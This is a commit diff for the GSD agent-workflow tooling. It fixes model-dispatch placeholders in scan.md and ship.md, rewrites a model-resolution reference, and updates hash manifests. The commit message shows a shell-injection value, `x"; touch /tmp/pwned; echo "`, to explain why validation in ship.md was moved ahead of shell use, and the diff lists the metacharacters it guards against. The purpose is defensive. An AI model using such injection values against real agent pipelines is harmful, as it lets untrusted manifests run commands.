fix(#2684): bind scan.md and ship.md model dispatch to fields their workflows resolve (#2710)

* test(#2684): failing-first guard for unbound model= dispatch placeholders

Extends the #2517 omit-on-inherit bucket with a behavioral binding guard: every
model="{X}" in a workflow must name a field that workflow actually binds — an
init-payload key (queried for real), a shell assignment, or a declared parse
field. scan.md ({resolved_model}) and ship.md ({balanced_model}) substitute
names nothing emits, so the orchestrator invents the value (ADR-1411).

Also pins the shipped reference that seeded the placeholder and instructs the
#2517-forbidden model="inherit".

RED expected on scan.md, ship.md, and references/model-profile-resolution.md.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DPq9ovaovP2UvSVLjD4Lso

* fix(#2684): bind scan.md and ship.md model dispatch to fields their workflows resolve

scan.md:85 passed model="{resolved_model}" and ship.md:486 passed
model="{balanced_model}" — names neither workflow's init payload emits.
init.map-codebase emits mapper_model; init.phase-op emits no model field at
all. With no source for the substitution the orchestrator invents a value, so
model_overrides/model_policy are silently inert at both sites — the invisible
partial application ADR-1411 prohibits.

- scan.md: declare the init fields in a Parse JSON line and substitute
  {mapper_model}, matching its sibling map-codebase.md.
- ship.md: ref.agent is only known at runtime, so resolve it per hook via
  query resolve-model and dispatch with {HOOK_AGENT_MODEL}, following the
  same NAME=$(...) → model="{NAME}" convention every other shell-resolved
  dispatch in the corpus uses (code-review.md, secure-phase.md, ui-phase.md).
- Both sites now carry the #2517 rule: omit model= entirely when the resolved
  value is "inherit" or empty. A bare rename would have traded a dangling
  placeholder for model="", which 404s on non-Claude runtimes — an agent type
  absent from the profile table resolves to the empty string, which is exactly
  ship.md's case.
- references/model-profile-resolution.md was the seam: it shipped the
  copy-pasteable {resolved_model} snippet scan.md inherited, used the stale
  Task( spelling, and instructed passing model="inherit" outright. Rewritten
  to teach the real binding convention and the omit rule.

Two defects surfaced while fixing this and fixed inline rather than deferred:

1. ref.agent originates in a capability manifest, which may be third-party.
   Resolving it at runtime made this the first place that value reaches a
   shell command, so ship.md now validates its shape before interpolating and
   skips the hook when it fails — matching code-review.md's existing
   defense-in-depth pattern. Covered by a test that runs the shipped regex
   against real agent names and injection payloads.
2. The reference doc's omit example first placed a literal model= inside an
   Agent(...) comment, which tripped the #2284 fail-closed Hermes projection
   guard (bin/install.js:3704) and refused the install outright. Moved out of
   the call span; gen:golden is green across all 19 runtimes.

Guard tests extend the existing #2517 bucket: every model="{X}" in a workflow
must name a field that workflow binds — an init-payload key queried for real,
a shell assignment, or a declared parse field.

Behavior change (Hyrum's Law): the scan mapper now runs on the catalog-resolved
model rather than the session model. The omit path is unchanged. Disclosed in
the changeset body.

Fixes #2684

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DPq9ovaovP2UvSVLjD4Lso

* fix(#2684): validate capability-supplied ref.agent in-context, not in the shell

The first cut of the ref.agent guard was placed after the injection point it
was meant to close. It instructed the orchestrator to substitute the untrusted
manifest value into a shell assignment and test it there:

    HOOK_AGENT="<the ref.agent value>"
    if [[ "$HOOK_AGENT" =~ ^[A-Za-z0-9][A-Za-z0-9._-]*$ ]]; then …

Substitution happens before bash parses anything, so a manifest supplying
`x"; touch /tmp/pwned; echo "` yields three statements and runs the middle one
unconditionally — the regex fires afterwards and protects nothing.

ship.md now requires the check to run in-context, the same way the workflow
already reads activeHooks ("do NOT pipe it through a shell parser"), and to
skip the hook outright on a mismatch. Only a value that has already matched
^[A-Za-z0-9][A-Za-z0-9._-]*$ ever reaches a command line. The guard test asserts
the ordering — the in-context requirement and the absence of any raw shell
assignment — not just that the pattern rejects metacharacters, since a pattern
alone was exactly what gave false assurance here.

Also corrects the empty-string explanation in references/model-profile-
resolution.md. model_profile:"inherit" resolves to the literal "inherit", not
"" (model-resolver.cts:395), and an unknown agent takes the empty-string path
via resolve_model_ids:"omit" rather than by absence alone — the doc claimed all
three produced "". The workflow instructions were already correct (omit on
"inherit" OR empty); only the rationale in the citable reference was wrong.

Both found by the isolated adversarial review pass for #2684.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DPq9ovaovP2UvSVLjD4Lso

* chore(#2684): backfill changeset PR number

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DPq9ovaovP2UvSVLjD4Lso

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Tom Boucher
2026-07-27 13:51:16 -04:00
committed by GitHub
parent a7f521c84e
commit 6fb832a93d
25 changed files with 435 additions and 81 deletions

View File

@@ -0,0 +1,5 @@
---
type: Fixed
pr: 2710
---
**Codebase scan and ship-time capability hooks now honor your model settings** — /gsd:scan dispatched its mapper agent with a model placeholder nothing resolved, and ship-time capability hooks did the same, so `model_overrides` and `model_policy` were silently ignored at both and the agent ran on whatever the session happened to be using. Both now resolve a real model, and omit the model parameter entirely when it resolves to "inherit" or empty rather than passing an empty value that fails on non-Claude runtimes. Note: the scan mapper now runs on the model your profile selects rather than inheriting the session's. (#2684)

View File

@@ -1,38 +1,89 @@
# Model Profile Resolution
Resolve model profile once at the start of orchestration, then use it for all Task spawns.
Resolve each agent's model through `gsd-tools`, then pass it to the `Agent()` spawn — or
omit the parameter entirely when nothing resolved.
## Resolution Pattern
```bash
MODEL_PROFILE=$(cat .planning/config.json 2>/dev/null | grep -o '"model_profile"[[:space:]]*:[[:space:]]*"[^"]*"' | grep -o '"[^"]*"$' | tr -d '"' || echo "balanced")
Prefer the field your workflow's own `init.*` payload already emits (every orchestrator
init that spawns subagents carries one — `mapper_model`, `planner_model`,
`executor_model`, `doc_writer_model`, …). Declare it in the workflow's parse line so the
binding is stated, not implied:
```
Parse JSON for: `mapper_model`, …
```
Default: `balanced` if not set or config missing.
When the agent type is only known at runtime — a capability hook naming its own agent, for
example — resolve it directly instead:
```bash
AGENT_MODEL=$(gsd_run query resolve-model "<agent-type>" --raw)
```
Both surfaces return the same thing: a model string for the active runtime, or the **empty
string** when nothing resolved.
## Lookup Table
@~/.claude/gsd-core/references/model-profiles.md
Look up the agent in the table for the resolved profile. Pass the model parameter to Task calls:
## Passing the model to a spawn
```
Task(
Agent(
prompt="...",
subagent_type="gsd-planner",
model="{resolved_model}" # "inherit", "sonnet", or "haiku"
model="{planner_model}"
)
```
**Note:** Opus-tier agents resolve to `"inherit"` (not `"opus"`). This causes the agent to use the parent session's model, avoiding conflicts with organization policies that may block specific opus versions.
Substitute the field **this workflow bound** — never a generic placeholder name.
If `model_profile` is `"adaptive"`, agents resolve to role-based assignments (opus/sonnet/haiku based on agent type).
**#2517 — omit, do not emit an empty model.** When the resolved value is `"inherit"` or
empty, **omit the `model=` parameter entirely**:
If `model_profile` is `"inherit"`, all agents resolve to `"inherit"` (useful for OpenCode `/model`).
```
Agent(
prompt="...",
subagent_type="gsd-planner"
)
```
No model parameter is passed at all — `planner_model` resolved to `"inherit"` or empty, and
omitting it inherits the orchestrator's model. Passing either value through as an argument
instead 404s on non-Claude runtimes.
This is not cosmetic, and both values really occur. `model_profile: "inherit"` — and any
opus-tier agent — resolves to the literal string `"inherit"`. `resolve_model_ids: "omit"`
resolves to the **empty string** whenever the project sets it explicitly or the active
runtime has no native tier aliases; an agent type absent from the profile table takes that
same empty-string path, because it has no tier for the earlier steps to resolve. Emitting
either value verbatim fails the spawn on every runtime without native tier aliases.
**#2684 — substitute a field your workflow actually bound.** `model="{…}"` must name a key
your own `init.*` payload emits, a shell variable you assigned, or a field on your declared
parse line. A placeholder that resolves to nothing does not fail loudly — the orchestrator
silently invents a value, which is the invisible partial application ADR-1411 prohibits.
`tests/model-omit-when-inherit-guard.test.cjs` enforces both rules.
## Profile semantics
**Note:** Opus-tier agents resolve to `"inherit"` (not `"opus"`). This causes the agent to
use the parent session's model, avoiding conflicts with organization policies that may
block specific opus versions — and, per the rule above, means the `model=` parameter is
omitted rather than set.
If `model_profile` is `"adaptive"`, agents resolve to role-based assignments (opus/sonnet/
haiku based on agent type).
If `model_profile` is `"inherit"`, all agents resolve to `"inherit"` (useful for OpenCode
`/model`).
## Usage
1. Resolve once at orchestration start
2. Store the profile value
3. Look up each agent's model from the table when spawning
4. Pass model parameter to each Task call (values: `"inherit"`, `"sonnet"`, `"haiku"`)
1. Bind the model once — from the `init.*` payload field, or `query resolve-model` when the
agent type is runtime-determined
2. Declare the bound field on the workflow's parse line
3. Pass `model="{bound_field}"` on each `Agent()` spawn
4. Omit `model=` entirely whenever the bound value is `"inherit"` or empty

View File

@@ -44,6 +44,8 @@ INIT=$(gsd_run query init.map-codebase 2>/dev/null || echo "{}")
if [[ "$INIT" == @file:* ]]; then INIT=$(cat "${INIT#@file:}"); fi
```
Parse JSON for: `mapper_model`, `commit_docs`, `search_gitignored`, `parallelization`, `subagent_timeout`, `date`, `codebase_dir`, `existing_maps`, `has_maps`, `planning_exists`, `codebase_dir_exists`.
Look up which documents would be produced for the selected focus (from the mapping table above).
For each target document, check if it already exists in `.planning/codebase/`:
@@ -78,11 +80,13 @@ Print: `◆ Spawning scanner... (runs in a subagent — no output until it retur
> **Runtime-aware dispatch (#2508 Phase 4).** GSD workflows dispatch specialized subagents by role. Before dispatching on a built-in-only runtime (kimi-code — three built-ins only), resolve the role to a built-in via `gsd_run query resolve-dispatch-type --requested <role> --raw`. On named-dispatch runtimes (Claude/OpenCode/…) the role is returned unchanged; on kimi-code it maps to `coder`/`explore`/`plan` by role-suffix. The persona rides `${AGENT_SKILLS_<ROLE>}` (Phase 3) regardless. See @gsd-core/references/runtime-aware-dispatch.md.
**#2517 model resolution:** `mapper_model` is the field `init.map-codebase` emits (parsed in Step 2) — this is the same binding `map-codebase.md` uses. **Omit the `model=` parameter entirely when `mapper_model` is `"inherit"` or empty**; do NOT pass `model=""` or `model="inherit"`, which 404s on non-Claude runtimes. Omitting inherits the orchestrator's model.
```
Agent(
prompt="Scan this codebase with focus: {focus}. Write results to {codebase_dir}/. Produce only: {document_list}",
subagent_type="gsd-codebase-mapper",
model="{resolved_model}"
model="{mapper_model}"
)
```

View File

@@ -483,7 +483,27 @@ Read the `activeHooks` array directly from `SHIP_POST_HOOKS_JSON` in-context (do
> **Runtime-aware dispatch (#2508 Phase 4).** GSD workflows dispatch specialized subagents by role. Before dispatching on a built-in-only runtime (kimi-code — three built-ins only), resolve the role to a built-in via `gsd_run query resolve-dispatch-type --requested <role> --raw`. On named-dispatch runtimes (Claude/OpenCode/…) the role is returned unchanged; on kimi-code it maps to `coder`/`explore`/`plan` by role-suffix. The persona rides `${AGENT_SKILLS_<ROLE>}` (Phase 3) regardless. See @gsd-core/references/runtime-aware-dispatch.md.
`Agent(subagent_type=ref.agent, prompt="Ship-time capability hook for phase ${PHASE_NUMBER}. Phase dir: ${PHASE_DIR}. Consume: ${consumed_files}. Follow your agent instructions.", model="{balanced_model}")`
**#2684 model resolution.** `init.phase-op` emits no model field, and `ref.agent` is only known at runtime, so resolve it per hook before dispatching.
**Input validation (defense-in-depth) — do this IN-CONTEXT, before any shell use.** `ref.agent` originates in a capability manifest, which may be third-party. Check the value you read from `activeHooks` against `^[A-Za-z0-9][A-Za-z0-9._-]*$` yourself, the same way you read `activeHooks` itself — **never** by pasting it into a shell command to be tested there. A value carrying a quote, `;`, `` ` ``, `$(`, or a newline would terminate the assignment and run as its own statement *before* any shell-side check could execute, so a shell-side check is no protection at all.
A value that fails the check is a malformed manifest: record a warning, **skip that hook entirely**, and move to the next `activeHooks` entry. Do not dispatch it and do not place it in a command line.
Only once the value has passed, resolve its model — substituting the validated value for `<agent>`:
```bash
HOOK_AGENT_MODEL=$(gsd_run query resolve-model "<agent>" --raw 2>/dev/null || true)
```
**#2517: omit the `model=` parameter entirely when `HOOK_AGENT_MODEL` is `inherit` or empty** — a capability may name an agent absent from the model-profile table, which resolves to the empty string, and passing an empty model 404s on non-Claude runtimes. Omitting inherits the orchestrator's model.
With a resolved model (`{HOOK_AGENT_MODEL}` is the value the command above printed; `${…}` are bound shell variables):
`Agent(subagent_type=ref.agent, prompt="Ship-time capability hook for phase ${PHASE_NUMBER}. Phase dir: ${PHASE_DIR}. Consume: ${consumed_files}. Follow your agent instructions.", model="{HOOK_AGENT_MODEL}")`
When it resolved to `inherit` or empty, drop the parameter:
`Agent(subagent_type=ref.agent, prompt="Ship-time capability hook for phase ${PHASE_NUMBER}. Phase dir: ${PHASE_DIR}. Consume: ${consumed_files}. Follow your agent instructions.")`
- If `ref.skill` is set, dispatch with `Skill(skill="gsd-${ref.skill}", args="${PHASE_NUMBER} --auto ${GSD_WS}")` (prepend `gsd-` to `ref.skill`).
Each dispatch is best-effort: if it errors, record a warning and continue — never re-raise (`onError: skip`).

View File

@@ -104,7 +104,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "de81380316d8a37f",
"gsd-core/references/model-profile-resolution.md": "fc72060a71580bc6",
"gsd-core/references/model-profiles.md": "6568ca29b6ee00d8",
"gsd-core/references/mvp-concepts.md": "3464783eaaef5c10",
"gsd-core/references/offer-next.md": "dff6b2a56a2946cd",
@@ -302,13 +302,13 @@
"gsd-core/workflows/remove-workspace.md": "1058d1d3160eb120",
"gsd-core/workflows/resume-project.md": "98e2cf8908e73a52",
"gsd-core/workflows/review.md": "0c3c483764110a1c",
"gsd-core/workflows/scan.md": "46c5a73f6f682023",
"gsd-core/workflows/scan.md": "5230ac0e5f876f6d",
"gsd-core/workflows/secure-phase.md": "9564c529052d1d36",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "6d25100a9de15b31",
"gsd-core/workflows/settings-integrations.md": "e1fda52e8c9afa5f",
"gsd-core/workflows/settings.md": "9b7e0a34f4f41a80",
"gsd-core/workflows/ship.md": "165bed31823086e0",
"gsd-core/workflows/ship.md": "668ea5179629e722",
"gsd-core/workflows/sketch-wrap-up.md": "0f842a609851a401",
"gsd-core/workflows/sketch.md": "c42d993c1e9a6240",
"gsd-core/workflows/smart-entry.md": "6d887ca5d9df9185",

View File

@@ -175,7 +175,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "e067ad3df6770db1",
"gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118",
"gsd-core/references/offer-next.md": "689740e4c2ed16f4",
@@ -373,13 +373,13 @@
"gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe",
"gsd-core/workflows/resume-project.md": "f28da1200e4545f4",
"gsd-core/workflows/review.md": "8724993cbc91bcc5",
"gsd-core/workflows/scan.md": "e1c12d542e61720d",
"gsd-core/workflows/scan.md": "0583dac337623f82",
"gsd-core/workflows/secure-phase.md": "fda2361739e511ee",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44",
"gsd-core/workflows/settings-integrations.md": "effcef778d4a855f",
"gsd-core/workflows/settings.md": "85ceb482dc713169",
"gsd-core/workflows/ship.md": "65a7fd84d4657a5e",
"gsd-core/workflows/ship.md": "ca94c87c80a70c27",
"gsd-core/workflows/sketch-wrap-up.md": "5f5ebb6a80d610c6",
"gsd-core/workflows/sketch.md": "efc5a794b4bd6e78",
"gsd-core/workflows/smart-entry.md": "004b4060eab97cb9",

View File

@@ -174,7 +174,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "18e7cfd4ba0ca9bc",
"gsd-core/references/model-profile-resolution.md": "c4ac0d783b10f282",
"gsd-core/references/model-profiles.md": "c249163663bbea53",
"gsd-core/references/mvp-concepts.md": "3464783eaaef5c10",
"gsd-core/references/offer-next.md": "e483957e308f1022",
@@ -372,13 +372,13 @@
"gsd-core/workflows/remove-workspace.md": "64b73daff58b9aec",
"gsd-core/workflows/resume-project.md": "af9761bcec0f6fe9",
"gsd-core/workflows/review.md": "73f78512f2c33aed",
"gsd-core/workflows/scan.md": "686e787d3704db90",
"gsd-core/workflows/scan.md": "4cb3b0e2736ebaaf",
"gsd-core/workflows/secure-phase.md": "a7272ff8163a61ac",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "94d61da368e9f85b",
"gsd-core/workflows/settings-integrations.md": "9e0108e01e78832c",
"gsd-core/workflows/settings.md": "a1a35e58da33b23b",
"gsd-core/workflows/ship.md": "fc19b46dee6e0354",
"gsd-core/workflows/ship.md": "543ce4997a00999c",
"gsd-core/workflows/sketch-wrap-up.md": "d52a5462bafda830",
"gsd-core/workflows/sketch.md": "9bc12018344f8110",
"gsd-core/workflows/smart-entry.md": "70445afde3a9ead6",

View File

@@ -103,7 +103,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "c249163663bbea53",
"gsd-core/references/mvp-concepts.md": "3464783eaaef5c10",
"gsd-core/references/offer-next.md": "8f98bc9d5956a004",
@@ -301,13 +301,13 @@
"gsd-core/workflows/remove-workspace.md": "015cde237c75be39",
"gsd-core/workflows/resume-project.md": "7f8dc986f0f35d96",
"gsd-core/workflows/review.md": "9f271477cf84c34b",
"gsd-core/workflows/scan.md": "a71e3009998cfc57",
"gsd-core/workflows/scan.md": "6b49ce7bcc615145",
"gsd-core/workflows/secure-phase.md": "ba807b4862d7f3c9",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "339def28c34b0797",
"gsd-core/workflows/settings-integrations.md": "9c9db643112b2371",
"gsd-core/workflows/settings.md": "d3f05e22f21bfb3a",
"gsd-core/workflows/ship.md": "cb11a33217e0fc45",
"gsd-core/workflows/ship.md": "8fdad757ea7512f1",
"gsd-core/workflows/sketch-wrap-up.md": "121ed4b8127abf04",
"gsd-core/workflows/sketch.md": "ac7a5265c6970bdf",
"gsd-core/workflows/smart-entry.md": "99c73236890605a1",

View File

@@ -107,7 +107,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "1794ad3d9854129e",
"gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118",
"gsd-core/references/offer-next.md": "689740e4c2ed16f4",
@@ -305,13 +305,13 @@
"gsd-core/workflows/remove-workspace.md": "79d3669cc9eb0b10",
"gsd-core/workflows/resume-project.md": "e23981178fa37b3d",
"gsd-core/workflows/review.md": "9f7d0f99ed40205b",
"gsd-core/workflows/scan.md": "f0bd2f64f5530598",
"gsd-core/workflows/scan.md": "d54e06f1ae992358",
"gsd-core/workflows/secure-phase.md": "1a2e389991fc6263",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "69f3a19bf2c61160",
"gsd-core/workflows/settings-integrations.md": "a2682897e663fec4",
"gsd-core/workflows/settings.md": "17a5de032a64eb22",
"gsd-core/workflows/ship.md": "9c0b622da71862f4",
"gsd-core/workflows/ship.md": "c95e39057dab8c51",
"gsd-core/workflows/sketch-wrap-up.md": "1f44789553180d84",
"gsd-core/workflows/sketch.md": "fadc2cbe6763c010",
"gsd-core/workflows/smart-entry.md": "22ef18e897b67907",

View File

@@ -175,7 +175,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "e067ad3df6770db1",
"gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118",
"gsd-core/references/offer-next.md": "689740e4c2ed16f4",
@@ -373,13 +373,13 @@
"gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe",
"gsd-core/workflows/resume-project.md": "f28da1200e4545f4",
"gsd-core/workflows/review.md": "8724993cbc91bcc5",
"gsd-core/workflows/scan.md": "e1c12d542e61720d",
"gsd-core/workflows/scan.md": "0583dac337623f82",
"gsd-core/workflows/secure-phase.md": "fda2361739e511ee",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44",
"gsd-core/workflows/settings-integrations.md": "effcef778d4a855f",
"gsd-core/workflows/settings.md": "85ceb482dc713169",
"gsd-core/workflows/ship.md": "65a7fd84d4657a5e",
"gsd-core/workflows/ship.md": "ca94c87c80a70c27",
"gsd-core/workflows/sketch-wrap-up.md": "2aba89ecd8f41a0d",
"gsd-core/workflows/sketch.md": "2913d90416a3c0f0",
"gsd-core/workflows/smart-entry.md": "004b4060eab97cb9",

View File

@@ -210,7 +210,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "11d144acecab34fb",
"gsd-core/references/model-profiles.md": "bd90862f68007f2e",
"gsd-core/references/mvp-concepts.md": "23201c8118fb074a",
"gsd-core/references/offer-next.md": "449c021d2552df02",
@@ -408,13 +408,13 @@
"gsd-core/workflows/remove-workspace.md": "d0160c5d05bcb2bb",
"gsd-core/workflows/resume-project.md": "9965f87eb278f7f8",
"gsd-core/workflows/review.md": "f2d0cf16167cb107",
"gsd-core/workflows/scan.md": "dcd6aac25ef39251",
"gsd-core/workflows/scan.md": "93da00ba119f3488",
"gsd-core/workflows/secure-phase.md": "3ba89719288dd3f3",
"gsd-core/workflows/session-report.md": "dd8fa011c9394075",
"gsd-core/workflows/settings-advanced.md": "2431433811616f76",
"gsd-core/workflows/settings-integrations.md": "d6d222af8690d09b",
"gsd-core/workflows/settings.md": "3c8bd45b123b5db6",
"gsd-core/workflows/ship.md": "f2c6d7991e23623f",
"gsd-core/workflows/ship.md": "0a6314edbb01a345",
"gsd-core/workflows/sketch-wrap-up.md": "07724a390fbb43f6",
"gsd-core/workflows/sketch.md": "3f6ed885d2ee5528",
"gsd-core/workflows/smart-entry.md": "2914f9d54d365931",

View File

@@ -105,7 +105,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "1d392e37a746742a",
"gsd-core/references/model-profile-resolution.md": "9f6dd88b2bc08921",
"gsd-core/references/model-profiles.md": "6568ca29b6ee00d8",
"gsd-core/references/mvp-concepts.md": "3464783eaaef5c10",
"gsd-core/references/offer-next.md": "220b59815223d1b7",
@@ -303,13 +303,13 @@
"gsd-core/workflows/remove-workspace.md": "e7e5b5b1e0cc9d81",
"gsd-core/workflows/resume-project.md": "40db7f350f5866d8",
"gsd-core/workflows/review.md": "09f390a2f11b40d3",
"gsd-core/workflows/scan.md": "76aad4e70281c364",
"gsd-core/workflows/scan.md": "485c6ed37c08042f",
"gsd-core/workflows/secure-phase.md": "d60aa4053154e52f",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "230a658de9c017a6",
"gsd-core/workflows/settings-integrations.md": "58acee11162b4a4e",
"gsd-core/workflows/settings.md": "876e954acd64cb18",
"gsd-core/workflows/ship.md": "b523ad905d1e1f0d",
"gsd-core/workflows/ship.md": "f210f33e40b8990a",
"gsd-core/workflows/sketch-wrap-up.md": "f2590cb6ddbfad94",
"gsd-core/workflows/sketch.md": "9cbf5860b6a005e5",
"gsd-core/workflows/smart-entry.md": "93f90cd7a12dbbc7",

View File

@@ -175,7 +175,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "5452b2e19e19f77e",
"gsd-core/references/mvp-concepts.md": "3464783eaaef5c10",
"gsd-core/references/offer-next.md": "1c9ae4014a95d269",
@@ -373,13 +373,13 @@
"gsd-core/workflows/remove-workspace.md": "0572a83d71650937",
"gsd-core/workflows/resume-project.md": "7f8dc986f0f35d96",
"gsd-core/workflows/review.md": "907cf2747dfb833d",
"gsd-core/workflows/scan.md": "a71e3009998cfc57",
"gsd-core/workflows/scan.md": "6b49ce7bcc615145",
"gsd-core/workflows/secure-phase.md": "b008216148d2afac",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "bf8ea69c8f7ae019",
"gsd-core/workflows/settings-integrations.md": "37d4212d83664224",
"gsd-core/workflows/settings.md": "f90f106a9490c7c9",
"gsd-core/workflows/ship.md": "9ed024a87a8cb7bc",
"gsd-core/workflows/ship.md": "253f80ad6e1bee08",
"gsd-core/workflows/sketch-wrap-up.md": "5be73b7bdf96b539",
"gsd-core/workflows/sketch.md": "64543e59b00637d4",
"gsd-core/workflows/smart-entry.md": "fdc5113754223df8",

View File

@@ -104,7 +104,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "7135dd5d81246b0e",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "8a1267752a05af27",
"gsd-core/references/model-profile-resolution.md": "a3fc0f81fbb5121d",
"gsd-core/references/model-profiles.md": "6012c3b53473f04f",
"gsd-core/references/mvp-concepts.md": "3464783eaaef5c10",
"gsd-core/references/offer-next.md": "8f98bc9d5956a004",
@@ -302,13 +302,13 @@
"gsd-core/workflows/remove-workspace.md": "42029a7559f1d8fb",
"gsd-core/workflows/resume-project.md": "a0443839f1f83c2d",
"gsd-core/workflows/review.md": "272f7d8befd51657",
"gsd-core/workflows/scan.md": "5c2370d6a8118b6c",
"gsd-core/workflows/scan.md": "b04522820db04e51",
"gsd-core/workflows/secure-phase.md": "c087131f1dd12901",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "49be159144d7f426",
"gsd-core/workflows/settings-integrations.md": "75405795c8462a8a",
"gsd-core/workflows/settings.md": "41c0f737bfd311fd",
"gsd-core/workflows/ship.md": "f89f774fe4a4ce7b",
"gsd-core/workflows/ship.md": "cfee017dc9a3d4e4",
"gsd-core/workflows/sketch-wrap-up.md": "f1ece50ac65ea281",
"gsd-core/workflows/sketch.md": "592283400d70317b",
"gsd-core/workflows/smart-entry.md": "4dc50d4af659c651",

View File

@@ -175,7 +175,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "11d144acecab34fb",
"gsd-core/references/model-profiles.md": "6568ca29b6ee00d8",
"gsd-core/references/mvp-concepts.md": "3464783eaaef5c10",
"gsd-core/references/offer-next.md": "8f98bc9d5956a004",
@@ -373,13 +373,13 @@
"gsd-core/workflows/remove-workspace.md": "f5dc82bb63e2efa4",
"gsd-core/workflows/resume-project.md": "7f8dc986f0f35d96",
"gsd-core/workflows/review.md": "cb218a57c772a041",
"gsd-core/workflows/scan.md": "c039d3e40d26b606",
"gsd-core/workflows/scan.md": "e9e28d23375dfe10",
"gsd-core/workflows/secure-phase.md": "5a8fbf603d218100",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "edd858cd6cfddaf1",
"gsd-core/workflows/settings-integrations.md": "3ec4f77c421b87b4",
"gsd-core/workflows/settings.md": "0e3cf91e952b48a2",
"gsd-core/workflows/ship.md": "02e8f7ae72c344e4",
"gsd-core/workflows/ship.md": "ab02688abfa65d9e",
"gsd-core/workflows/sketch-wrap-up.md": "888c0548e63197b3",
"gsd-core/workflows/sketch.md": "75ffbd233fd9a762",
"gsd-core/workflows/smart-entry.md": "2ad5b63a9deea0ce",

View File

@@ -133,7 +133,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
